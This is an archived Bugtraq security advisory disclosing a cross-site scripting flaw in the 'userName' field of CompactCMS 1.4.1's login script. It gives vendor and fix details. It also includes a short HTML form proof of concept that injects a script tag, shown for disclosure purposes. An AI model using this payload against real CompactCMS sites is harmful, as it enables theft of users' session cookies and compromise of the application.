Home page logo

bugtraq logo Bugtraq mailing list archives

XSS in CompactCMS
From: advisory () htbridge ch
Date: Thu, 18 Nov 2010 15:33:54 +0100 (CET)

Vulnerability ID: HTB22696
Reference: http://www.htbridge.ch/advisory/xss_in_compactcms_1.html
Product: CompactCMS
Vendor: compactcms.nl ( http://www.compactcms.nl/ ) 
Vulnerable Version: 1.4.1
Vendor Notification: 04 November 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/lib/includes/auth.inc.php" script to properly sanitize user-supplied 
input in "userName" variable. Successful exploitation of this vulnerability could result in a compromise of the 
application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

The following PoC is available: 

<form action="http://[host]/lib/includes/auth.inc.php"; method="post" name="main" >
<input type="hidden" name="userName" value="123&#34;><script>alert(&#34;XSS&#34;);</script>" />
<input type="hidden" name="userPass" value="123" />
<input type="submit" value="Submit" name="submit" />

Solution: Upgrade to the most recent version

  By Date           By Thread  

Current thread:
  • XSS in CompactCMS advisory (Nov 18)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]